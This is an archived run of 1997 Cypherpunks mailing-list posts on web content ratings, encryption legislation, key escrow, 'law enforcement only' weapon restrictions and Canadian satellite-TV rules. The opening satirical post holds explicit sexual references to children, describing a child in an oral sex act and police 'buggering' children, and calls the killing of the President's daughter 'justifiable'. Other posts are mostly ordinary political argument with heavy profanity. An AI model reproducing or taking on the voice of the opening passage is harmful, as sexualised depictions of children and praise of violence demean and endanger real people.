           jobs, become unpaid housewife/laborers, quit voting, and do
           all of the housework, in order to fight drug dealers and
child
           pornographers?"
Question: "What rating will be required of a web site which contains a
           picture of a loving parent bathing their beautiful (NAKED!!!)
           newborn child?"
           {To get a "Suitable For Children" rating, will the parents
have
            to fill out a form that certifies that they did not get
sexually
            aroused while bathing their newborn? If a cop or judge
visits
            the site and gets aroused, are the parents guilty of a
crime?}

  Bottom Line #2: Squeaky Fromme will be imprisoned for putting naked 
                  pictures of herself, as a child, on her web site.
                  John Hinkley will be hospitalized for the same
offense.
                  Kennedy family members 'A', 'B' and 'C' will not be
                  prosecuted for the same offense, but Squeaky Fromme
will
                  have to serve an extra 2 years in prison for revealing
                  that the nude Kennedy pictures made her horny.

Special Offer: "Purchase and use Pretty Good Pornography software, and
                you will receive the phone number of a person who will
                buy your drugs, as well as a picture of my dick in a 
                child's mouth."
                (Offer not valid in states where children are being
buggered
                 by the Police Chief, the Mayor, the President, Hillary,
                 Socks, and a buggerer to be named later.) 

News Flash!!!: Early this morning Vatican military forces invaded the
               United States and arrested President Clinton for his
               involvement in the birth-control drug trade.
               Saddam Hussein ordered an air strike against the D.C.
               Whitehouse in retaliation for U.S. support of terrorist
               fashion designers who produce clothing which exposes
               women's ankles. The President escaped unharmed, but his
               daughter was justifiably slaughtered.
               U.S. Attorney-General Larry Flynt appointed a special
               prosecutor to investigate reports that Janet Reno sent
               out Christmas Cards containing a picture of herself in
               which she was fully clothed, with neither her breasts
               or her vagina showing. "Studies have shown," Flynt told
               reporters, "that pictures of clothed women frustrate
               unimaginative males, leading to an increase in rape as
               a result of cockteasers like Janet Reno."
               The "Drug Dealers and Child Pornographers" regulatory
               commitee, a special agency appointed by the President to
               fight against the threat that Family Values pose to
               the sex industry, approved the use of video surveillance
               in private homes in a crackdown on parents who refuse
               to get their children high and bugger them with a variety
               of foreign objects.
               "The Tin Bible," an award winning movie by producer Tim
May,
               was removed from libraries and store shelves in Oklahoma
               today. The offending scene involved a male "pulling out"
               while fucking a blood relative, and "wasting a perfectly
               good piece of pussy," according to the National Council
               For The Promotion Of Indecency.

  "If you're not part of the precipitate, you're part of the solution."
            - James D. Bell

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Sun, 27 Jul 1997 02:19:41 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <33DA3C51.89290B12@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> What is your proposal for those who would "mislable" their sites? 

    People who "mislabel"?   I am only proposing a tag for rating=adult.
I guess someone could put a rating=adult tag on a page that didn't need
it, but who would care?  Not me.  

   Suppose on the other hand that someone had a page that people thought
should have a rating=adult tag.  Well, the person who didn't use the tag
would just have to deal with whatever crap you would get for not
labeling.  If you thought your site had some constitutional right not to
label the content adult, then just don't label it.  I really don't think
this will be that big an issue, but I don't know (no one knows).  I
think that a significant percent of porn sites would use the
rating=adult label in a second if they thought it would get people off
their back.  Those that didn't use the label could just put up with the
consequences, whatever they are.  I would expect (and hope) that the
rating=adult label would be used infrequently, mostly for sites
involving explicit sexual images.  I don't think a rating=adult label
would be much of a barrier to teenagers who wanted access to this type
of material, since one could download a browsers in a few minutes that
wouldn't block the data.  But like a childproof top on aspirin, it would
work pretty well with pre-teens, I imagine.


>I am
> sure that you are not under the assumption that everyone will have the
> same ideals of what is appropriate for children and what is not.
> 
> How do you handle the web site for alt.sex.sheep.bah.bah.bah if the owner
> decides to self rate it Y-7?

    Well, I for one don't like a Y=7 type system.  It involves too much
information from the person rating the wage page.  The more precision
you put in a rating system, the more trouble you get in.  Keep it
simple, very simple.  What if someone was a sex with sheep web site,
unlabeled?  I don't care much.  I wouldn't be surprised, however, if
Yahoo didn't give them the prominent listing they wanted, in the absence
of the rating=adult label.  


> 
> Self-rating and/or browsers that can read these self-ratings will be of
> little good except as a stepping stone to maditory rating system because
> they are unable to solve the precieved problem of children accessing
> website that their parents do not want them to see.
> 
> Even if you could convince "Enough-is-Enough" and the rest of Donna "2 bit
> hore" Rice's cronnies that voluntary ratings was worth a try they would be
> shortly back to DC pushing for manditory legislation because they wouldn't
> like the way people were self rating their web pages.



    Maybe.  Maybe not.  Maybe it would "solve" the problem, without
legislation.   I think it would be nice if the problem was solved
without legislation. But if the problem (and I think there is a problem)
isn't solved voluntarily, don't be shocked when Congress acts.  


 
> You have two major groups pushing for rating systems:
> 
> 1) Lazy parents that do not wish to be bothered with the obligations of
> raising their children.


      Are you calling me a lazy parent?  What is the obligation of a
parent?  To supervise a kids web browsing?  Please, I think kids are
better off with more privacy, and less parental (and teacher)
supervision when they browse the web.  

> 
> 2) "Born again" censors like Rice want the power to control what people
> can and can not say.

     
     This simply isn't true.  A lot of support for content labeling,
including systems which I find appalling, is from fairly typical
parents.  This isn't a right wing or born again issue.  


> The problem is that no rating system can satisfy these groups. Just as
> voluntary rating will be used as a stepping stone to manditory rating,
> manditory rating will be used by these same two groups for the outright
> baning of certian forms of speech (their true agenda).


    Nothing will satisfy everyone.  But reasonable people will support
reasonable solutions, and it might be the case that there are enough
reasonble people around to come up with a resonable system.

               Jamie



> 
> - --
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
> - ---------------------------------------------------------------
> 

-- 
_________________________________________
James Love
Center for Study of Responsive Law 
P.O. Box 19367 | Washington, DC 20036 
202.387.8030  | fax 202.234.5176
http://www.cptech.org  |  love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles" <apache@gargoyle.apana.org.au>
Date: Sat, 26 Jul 1997 12:19:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: <Pine.GSO.3.95.970725111252.22013N-100000@well.com>
Message-ID: <199707260407.OAA08620@gargoyle.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



Welcome to the USA...please check your keys at the door.

(Or you will be violated)

>  This means that if law-enforcement officials could not
>  crack an encrypted file within 24 hours - the time that FBI
>  director Louis Freeh and other law enforcement officials
>  say is reasonable for accessing information related to a
>  crime - that strength of encryption would be illegal. The
>  amendment set a civil penalty of US$100,000 for such
>  violations.

Defence counsel: Your honour the FBI agent could have cracked my 
clients grocery list within 24 hours if he hadn't taken a long lunch 
break at Hooters Topless Bar & Grill and not overlooked that he was 
running his NifTY War3Z crAk3R v0.3 against the wrong file.

Prosecutor: Could not

Defence: Could so

Prosecutor: Irrelevant your auspiciousness, the fact is the grocery 
list was not decrypted in 24 hours.

Judge: I sentence the defendant to $100 000 penalty or in default 15 
years at a federal re-education facility.

Defence: But your worthiness it was only a $35 grocery list!

Judge: Anyone seen my gavel?
-- 
   .////.   .//    Charles Senescall             apache@quux.apana.org.au
 o:::::::::///     apache@bear.apana.org.au  apache@gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 26 Jul 1997 16:23:02 +0800
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.93.970726135758.408B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 26 Jul 1997, William H. Geiger III wrote:

[...]

> Self-rating and/or browsers that can read these self-ratings will be of
> little good except as a stepping stone to maditory rating system because
> they are unable to solve the precieved problem of children accessing
> website that their parents do not want them to see.

There is a presedent for this type of self rateing that hasn't yet led to 
a modorty scheme.  The volintry tagging scheme used in alt.sex.stories and 
alt.sex.strories.moderated seems to allow peaple to avoid meatiral that
thay don't like and select matiral that thay do.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM9l33aQK0ynCmdStAQFbbAQAuVIq45b8uJ8waY+xPHFXLJIz58uNSwbp
ThvmSZznu164ArX/l+mkzxt+zB5R6w8UAILpnm4MV/RjyrumohBUSwguep/iAbNG
e1xXeuo8jGeRh9i8rrJY6SLEWh8sesocIfywHwWN9aC/EVUMlfQeQQUkuCEW+eHt
19JsengO3Nw=
=C6QP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 27 Jul 1997 03:07:19 +0800
To: cypherpunks@toad.com
Subject: URL for Crypto Hearing Transcript
Message-ID: <1.5.4.32.19970726184555.0070b78c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We've put the dox at:

   http://site108240.primehost.com/hir-hear.htm  (97K hearing transcript)

   http://site108240.primehost.com/crypto-law8.htm  (11K Reno letter)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 28 Jul 1997 02:21:57 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Reference.Com wants to pay listowners to send ads to their lists
In-Reply-To: <35Lcae20w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970726162145.4363B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> One of my many hats is the owner of a very technical mailing list
> with about 400 subscribers.  I received the following unsolicited
> e-mail from reference.com, which I'm reposting without comment:

I didn`t know you ran a listserv, do you run any crypto lists I may be 
interested in???

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 27 Jul 1997 05:57:26 +0800
To: cypherpunks@toad.com
Subject: Re: Interesting Question..
In-Reply-To: <33D3B726.C5C7DE0E@CyberSpaceTechnologies.com>
Message-ID: <3.0.2.32.19970726173823.007fc100@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 03:23 PM 7/21/97 -0400, you wrote:
>Here is an interesting question. The U.S government has classified
>encryption software as a munitions under the U.S ITAR regulations, which
>
>will limit the export of same. They rarely if ever approve an export
>unless they have thoroughly inspected it and have been given certain
>shall we say assurances.
>Next they develop a number of different chips
>that rely on a classified algorythm, which incidently they developed.
>They say that they want the entire population of the U.S to use these
>chips, going so far as to use their market power to put additional
>pressure on enterprises to manufacture and use these chips. Next the >FBI

The popualtion might, since too many people seem to think we are the
government's workers, not vice-versa.

>howls thatt they need a law to ban domestic non-escrowed encryption.

The FBI basically complains that the Constitution ties their hands to
enforce draconian laws.

>Then we have the Congress trying to pass stricter laws regarding
>encryption while screaming that they have to protect the children from
>all this nasty stuff on the web. This they scream even though they can't

14 year olds will look at hooters, given the chance [shock]

>pass a balanced budget or manage to find enough money to educate those
>self same kids. Next we have us, the general public, who are worried
>that the government will abuse this proposed system. The government says
>they won't, which we are supposed to believe even though their track

[cough, bullshit, cough]

I wouldn't trust the government with anything.  Which suprises me that
stupid parents leave their kids in buildings that are known targets of
anti-government military groups.  Oh well.

Most americans probably don't know what Encryption is.  Most americans
think that because some half-assed monkey Senator says that some guy could
use to send around kiddie-porn without the FBI catching him, they think
that encryption is evil.

>record shows that we can't trust them past the first money trough that
>comes their way. That leaves one final question. How long until they
>stop asking and pleading and start demanding we use this system of
>theirs. How long until we become criminals by enacting our right not to
>use it?

Reminds me of the gun laws.

>Interesting, don't you think?

Interesting how many americans are getting screwed without ever knowing it.

They sit on their asses, watching their stupid TV shows, believing the
regurgitated shit the media tosses them when one man blows up a building.

Sometimes I want to kick the whole goddamn country in the face.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 27 Jul 1997 10:09:00 +0800
To: Martin Minow <minow@apple.com>
Subject: Re: Government Access to Safes
In-Reply-To: <v03010d04affec4688a73@[17.202.40.158]>
Message-ID: <3.0.2.32.19970726175212.03063ec0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:05 PM 7/25/97 -0700, Martin Minow wrote:
>This safe uses a keypad lock (rather than a mechanical combination 
>or physical key).
>Is this more secure than a regular safe lock? Does the government
>have an access key that would premit a law enforcement officer
>(with appropriate authority) to open any such lock? Should I
>be required to deposit the secret key to my safe with a
>government-mandated "escrow" agent?

Most safes belong to businesses that are required to
produce business records in response to warrants or maybe subpoenas;
the government doesn't need to crack the safe when it can
order the business owner to comply.  Of course, this informs the
business owner that the safe was opened, and the government
is trying to get Key Access in ways that don't inform the target.
This is an artifact of wiretapping history, and radically at
variance with the Fourth Amendment.  It would be much easier,
from a Constitutional perspective, for Congress to pass a law
that requires you to decrypt messages in response to a court order 
(or to turn over your keys, though that's not "narrowly tailored"),
though it makes the Fifth Amendment issues much plainer,
and doesn't make the Secret Police sufficiently happy.

Also, safes are seldom strong enough to resist cracking even if they have to
(e.g. the target is dead or can't be found or skipped the country),
while anybody can get totally uncrackable crypto systems.
Government-rated combination locks, used on safes and strongrooms
designed to store TOP SECRET information in non-battlefield environments,
are generally rated for about two hours of drilling by a
competent locksmith, and my experience is that the ratings 
realistically reflect the actual difficulty of cracking the lock;
I haven't tested cutting through the safe itself, but I think
they were rated for something like six hours.
The purpose of the safe is to deter crackers long enough for
other security methods such as alarms and guards to detect
and stop the attempted breakin, as well as to deter insiders.
Safes designed for SECRET and TOP SECRET use also have weight
requirements, so that crackers can't just carry them away
and crack them at leisure.  Battlefield environments probably 
use more guards rather than stronger safes or fancier alarms.

Banks may use vaults that are tougher than that;
the classic bank burglary novel/movie involves defeating the
alarm system and working around the guards to either
dynamite the lock or break through the back wall over the weekend
(taking advantage of the time lock that prevents the
bank employees from getting in until Monday and noticing the hit.)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 27 Jul 1997 07:21:00 +0800
To: cypherpunks@ssz.com
Subject: Satellite Tool Kit available FREE! (fwd)
Message-ID: <199707262307.SAA07758@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From owner-traveller@Phaser.ShowCase.MPGN.COM Sat Jul 26 12:43:45 1997
Message-Id: <3.0.2.32.19970726103449.032c3494@mail.pcisys.net>
X-Sender: goldendj@mail.pcisys.net
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32)
Date: Sat, 26 Jul 1997 10:34:49 -0600
To: traveller@MPGN.COM, tne-rces@tower.clark.net, gdw-beta@qrc.com
From: "David J. Golden" <goldendj@pcisys.net>
Subject: Satellite Tool Kit available FREE!
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-traveller@Phaser.ShowCase.MPGN.COM
Reply-To: traveller@MPGN.COM

For those who haven't heard, Analytical Graphics, Inc. is releasing version
4.0 of their Satellite Tool Kit (STK) program, absolutely free. Their web
site says they've decided it's the best way to introduce engineers to its
power; the way I heard it, they lost a lawsuit claiming it was developed
with government money and hence _can't_ legally sell it. At any rate, the
add-on modules still cost large quantities of filthy lucre, but the basic
program is quite impressive for anybody wanting to model satellite orbits,
sensor and communicator field-of-view, etc., etc. Check it out at www.stk.com.
-- Dave Golden                  http://www.pcisys.net/~goldendj --
   goldendj@pcisys.net                       finger for PGP key
    *** USE OF THE ABOVE EMAIL FOR SOLICITATION PROHIBITED ***

 "He that would make his own liberty secure must guard even his
  enemy from oppression; for if he violates this duty, he establishes
  a precedent that will reach to himself" -- Thomas Paine





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 28 Jul 1997 02:07:38 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: OKC Bomber, or Cowardly Lion? / Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707260706.JAA19264@basement.replay.com>
Message-ID: <Pine.LNX.3.91.970726181430.4363D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   I enjoy the outrageously strong opinions which do battle on the
> CypherPunks list, and I even have a mail folder titled, "CyberPissing,"
> in which I save the posts which contain classic cheap-shots.

I am almost certain I am in there somewhere, any chance of zipping up a 
few of my old abusive posts and sending them to me, might be amusing.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 27 Jul 1997 13:26:22 +0800
To: cypherpunks@toad.com
Subject: Declassified crypto-hearing transcript now online
Message-ID: <Pine.GSO.3.95.970726221325.1943C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



The URLs, thanks to JYA:

   http://site108240.primehost.com/hir-hear.htm  (97K hearing transcript)

   http://site108240.primehost.com/crypto-law8.htm  (11K Reno letter)
 
-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Sun, 27 Jul 1997 14:44:44 +0800
To: cypherpunks@Algebra.COM
Subject: Rules for "Them" and Rules for "Us"
In-Reply-To: <01bc9711$78a2baa0$458a98cf@kevlar>
Message-ID: <199707270632.XAA14659@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain



(A copy of this message has also been posted to the following newsgroups:
rec.knives, talk.politics.guns,alt.cypherpunks)


[Note to Usenet readers. I wrote this for the Cypherpunks mailing list,
but decided you folks in rec.knives and talk.politics.guns might be
interested too.]


Pardon the rant, to borrow a line from Dennis Miller.

One of the recent trends which really bugs me, and which seems to be
indicative of a major shift in the American system is this:

"They" have certain rights the rest of "us" don't have. 

Who are "they"?

- law enforcment

- the military

- the spies

- the secret police

The "us" is anyone not in a special group exempted from the ban.

(Note: Please don't cite the hackneyed example of how the government has
the right to own nuclear weapons but ordinary citizen-units do not. This
is indeed so, and I don't even necessarily think this is completely
unreasonable...though I now am more inclined to support the right to keep
and bear nukes. But, seriously, the issues are not so cosmic as nuclear
weapons....the examples I'll cite here are much more mundane, and more
pervasive.)

Here's an example I ran across tonight, in the group rec.knives:

In article <01bc99fa$f7d16420$538a98cf@kevlar>, "James R Thorpe"
<kevlar@meganet.net> wrote:

> > Does the name refer to the blade length.?
> > IE only 2 inches and therefore legal in California.
> > Nice looking knife. What's the blade made out of?
> > daithi
> > 
> Got mine in the mail, it's a sweet little knife. Better than I expected.
> Rugged feeling too. ATS-34 Blade, and aluminum handles. Lanyard Hole, where
> I tied a piece of leather shoestring, and the blade pivot is tension
> adjustable. The blade on the ones PV Knife is shipping now is a little
> different than the picture. It has a clip point and hollow grind. It's
> small but feels bigger than the picture once you get it in your hand. My
> fiancé even wanted to fondle it. Its a very "grabable" knife. After she cut
> herself she didn't want to play with it anymore.
> Not sure why its named CA Special. You can probably get one shipped to you
> with out any LEO/Military credentials due to the blade length.
> Jim

Here's what these guys are referring to:

There are large numbers of knives and knife types which are forbidden for
ownership and/or carrying in California, amongst other states, but which
are commonly carried by cops. Some are the evil "switchblades" (a category
which may or may not include the thumbhole folders a lot of us carry in
our pockets, depending on what the local cops decide). Some are
"butterfly" knives. Some are just plain knives which are longer than the
local burghers (or is it "burgers"? :-)) have "permitted." In California,
there is ongoing uncertainty about whether a fixed-blade knife may be
carried openly, which may be "brandishment," or may be carried in a
backpack (and hence "concealed")...one analysis noted that it is probably
a felony to carry a kitchen knife home from a store, as it is either being
"concealed" if in a bag, or "brandished" if not. I guess hiring a delivery
boy would shift the felony to him...or make one a co-conspirator in a RICO
felony.

(Practically speaking,  there are few arrests and even fewer prosecutions.
Cops have been known to tell people to "keep your knife out of sight and
you'll be OK," even though the laws are usually quite clear that this is
felony concealment. The law is an ass.)

OK, enough about knives.

The point is that the term "LEO" means "Law Enforcement Only." Meaning,
your local cop is free to buy these items, even for personal use in many
cases, but the sheeple are not. My local gun stores have sections marked
"Law Enforcement Use Only," and these sections are getting bigger every
year.

Here are some things which now fall into this "Them" vs. "Us" situation:

* Knives. They get to own all sorts of things. We are being limited more
and more each year: the allowable knives are getting shorter, the types
are being further restricted. (All in a putative move to reduce
crime...anybody think that telling T.C. May he's a felon if he carries his
Benchmade AFCK is going to reduce the number of knifings?)

* Guns. 'Nuff said, as we all have heard much about this. A recent example
is telling though--the banning of magazines (clips) holding more that 10
rounds. (Unless already made before some date, and some other details.) 
Cops and even retired cops and retired military personnel are allowed to
buy the 15-round magazines their guns are made to use, but the sheeple are
not.

(And there are proposals to ban magazines holding more than 5 rounds, to
ban detachable magazines completely, to ban semi-automatic weapons, to ban
all firearms except "sporting" rifles, and so on.)

* Ammunition. Believe it or not, some forms of bullets are now restricted
to "LEO." (Usually after some shooting spree, or some mass media
hysteria--as with the never-produced "Black Rhino" ammo--there are sudden
moves to ban some class of ammo. Cops make sure they are not affected,
and,voila, a new "LEO" item is added to the list.)

* Martial arts supplies. Batons, kubotans, throwing stars, nunchuks, etc.
These are allowed for cops, but not for ordinary people, regardless of
training. 

* Drugs. Aside from the evidence that the CIA and other gov't agencies ran
drugs into the U.S. (cf. the usual sources), there are lots of drugs the
gov't. dispenses to its own troops, including methamphetamines, which it
declares to be contraband in the civilian sector. (Pilots, for example,
are given uppers to maintain alertness, but of course a truck driver
caught with them faces jail.)

* Radio equipment. Certain frequencies are not allowed on civilian radios,
and there are related restricitons. (Radio buffs will know a lot more.)
Some of this may be for "legitimate" (barf) reasons, to maintain radio
security for sensitive operations, but mostly it is not needed (and is
bypassable by spies and anyone seriously interested in doing so). Note of
course that strong crypto would bypass this issue of banning certain types
of electronic equipment.

(I am not including TEMPEST equipment as being banned, as this seems to be
a false rumor. The TEMPEST research may be classified, but there are no
laws that I know of that make it a crime to make a piece of equipment
radiate very little RF. In fact, the FCC likes it this way.)

* Armor. Especially body armor (aka "bulletproof vests"). I believe there
are some restrictions on what may be sold to civilians.

* Biological research. There are specific laws making it illegal for
private individuals or companies to do research in certain areas without
government approval. (I believe the specific law dates from around 1975,
and covers CBW weapons and related research. Ditto for nuclear weapons,
probably under the Atomic Energy Act or somesuch.)

* Crypto, of course. Not yet, domestically, but we appear to be entering
an era in which the government and its employees have access to crypto the
rest of us are forbidden to use. PGP may have a warning sticker: "Law
Enforcement Use Only."

I assume others of you can think of examples I've left out. Obviously
things like wiretap equipment, etc. are often restriced to law enforcement
and spies. At least one of those "007" spy shops was shut down for selling
to civilians stuff that cops readily have (I heard this on CNN, but I
don't have the details).
 
The danger in all of this is not that there are a _few_ things that we let
police and soldiers have that we think civilians should not have, but that
_so many_ things are now classified this way, with the number of things so
classified growing constantly.

This makes for a dangerous society, civil liberties-wise, when industrial
companies and shops have two classes of customers: them and us.

This stinks. We're not talking about private ownership of nukes. We're
talking about a situation where a citizen can go to prison for having a
knife longer than 3 inches in his pocket, while cops are free to have them
for their own purposes.

This stinks.

--Tim May

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 27 Jul 1997 13:00:31 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: New Ratings Categories / Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707261158.NAA19507@basement.replay.com>
Message-ID: <Pine.GSO.3.95.970727003652.23109A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Sure. I've done it before. They give weasel answers, small surprise there.
Some (though not all) misrepresent the law, distort the truth, and flat
out lie.

Do I accuse them of being fascist censorhappy wackos? Yes. Motherfuckers?
No; my editors generally don't go for it.

I mean, the biggest problem with the CDA was overbreadth. It pulled a
bait-n-switch maneuver: saying it protects children while restricting the
rights of adults. Which is why the SupCt struck it down.

-Declan


On Sat, 26 Jul 1997, Anonymous wrote:

> 
>   A Challenge To Declan: Do you have the balls to contact all of those
> individuals pushing for fascist censorship in the name of "protecting
> children" and ask them if they would support the rights of adults to
> promote and access adult material on the InterNet if a way can be found
> to guarantee that minors will not be able to access it?
>   Do you have the balls to refuse letting them dodge the issue with
> meaningless, bullshit, political rhetoric? Do you have the balls to
> tell them that if you don't get a straight answer,  you will report 
> that they are lying, fascist, censorist motherfuckers who are hiding
> behind children to disguise their hidden agenda of forcing their 
> personal beliefs on others?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Yaffe <straightedge.dave@sk.sympatico.ca>
Date: Sun, 27 Jul 1997 16:42:15 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CanadaBanAna Censors US TV (and bans decryption)
Message-ID: <3.0.2.32.19970727023226.007ba260@mailhost.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



This is my sarcastic reply to the article.. has a couple of interesting
'facts' about canadian life.. Enjoy!

>   HOME Box Office, the U.S. cable network, just garnered 90 Emmy
>   nominations in recognition of quality programming. But HBO is still
>   banned in Canada. The network was not on the list of foreign services
>   approved Wednesday by Canada's dictator of cable and satellite
>   television content, the CRTC. Others banned by the CRTC include
>   Bloomberg Television and the U.S. versions of the Discovery Channel,
>   The Comedy Network, the Disney Channel and scores of other program
>   services deemed too subversive for Canadians to watch in their
>   original form -- unless, of course, the same programming passes
>   through the hands of a Canadian middleman or monopolist who will
>   culturally sanitize the programming by skimming off a fat profit.

Hey we don't even have a Canadian version of Sesame Street anymore.. The
government controlled TV station (that CBC) decided that the content of the
Canadian version of Sesame Street was still to American... (Like 5 year
olds know the difference!)
   
>   Once a Canadian has grabbed a piece of the action -- as a distributor,
>   broadcast licence holder, cable operator or satellite owner --
>   Canadians are allowed to view the U.S. content. This banana republic
>   setup has been in place for decades, and now it may be getting worse.
>   A judge has concluded in one of the satellite disputes that it may
>   even be illegal for a Canadian to pay for HBO and other networks as
>   they come in over the border on U.S. satellite systems.

Okay, so if I get a video feed of the internet is that illegal in Canada?
You bet!! Even PGP-fone is.. after all, telephones are designed for voice
communication, the internet is for data. All praise the High and Mighty CRTC. 

>   The oral judgment by Mr. Justice Frederick Gibson of Federal Court of
>   Canada in the case of ExpressVu versus Norsat and other companies was
>   issued last month, but the written version sets a number of bizarre
>   precedents that appear to deeply infringe on individual rights. By
>   ruling in favour of ExpressVu, the Canadian satellite company, Judge
>   Gibson has essentially come up with a judgment that is the equivalent
>   of making it illegal for a Canadian to subscribe to Fortune or
>   Cosmopolitan magazines or to buy a copy of Vanity Fair or Esquire on
>   the newsstand.
Shit! no more WIRED Magazine & No more comic books...

[Snip]

>   The purpose of the act's clauses on encryption is a technical one to
>   prevent fraud. Evidence presented by Andrew Roman, the lawyer for
>   Norsat, makes it clear that the intent of the government was to make
>   it illegal for people to use counterfeit decoders and other devices to
>   avoid payment. All the debates in Commons committee focus on the act
>   as an attempt to prevent theft of signals. No such theft occurs when
>   Canadians subscribe to and pay for a U.S. satellite service.

Yup.. but the government thinks we're all after free TV.. Even those of us
who don't even have "Basic cable", and have just the three free channels...
(All I need is my Simpson's :) 
   
>   What makes this judgment even more unusual is that it effectively
>   attempts to make it illegal for a Canadian to pay for a U.S. channel
>   on a U.S. satellite, when the identical U.S. channel is available on
>   Canadian cable or satellite. For example, WGN-TV in Chicago can be
>   picked up on Canadian cable, Canadian satellite or on U.S. satellite.
>   In each case, the subscriber pays for the service. But under this
>   judgment, it would be illegal to pay the U.S. satellite for WGN-TV.
>   Who does this serve -- other than giving Bell and the cable companies
>   more revenue.

Yup -- Canadians love to pay tax, that's why we pay so much of it.. ( well
over half of a Canadian citizen's income is taxes. If the average Canadian
were to devote 100% of their paychecks to their taxes for the year, they
would start seeing some income in the middle of July. For the first six
plus months of the year, they would be paying taxes. I believe that Simon
Fraser University does the calcuations each year..
   
>   Even stranger is that many of the networks carried by U.S. satellites
>   are already available in Canada over the air waves free, or on cable,
>   or on C-band, an alternative satellite service that has been available
>   in Canada for years. A Seinfeld episode can be picked up free over the
>   air from a U.S. television station, or on a U.S. station via cable, or
>   on a Canadian station on cable. But if the same Seinfeld episode were
>   bought by a Canadian from a U.S. satellite service, it's illegal.

   
>   Canada's specialty networks, meanwhile, are gearing up to flood the
>   country with copy-cat versions of the networks banned by the CRTC --
>   including The Globe and Mail, which is a partner in ROBTv, a business
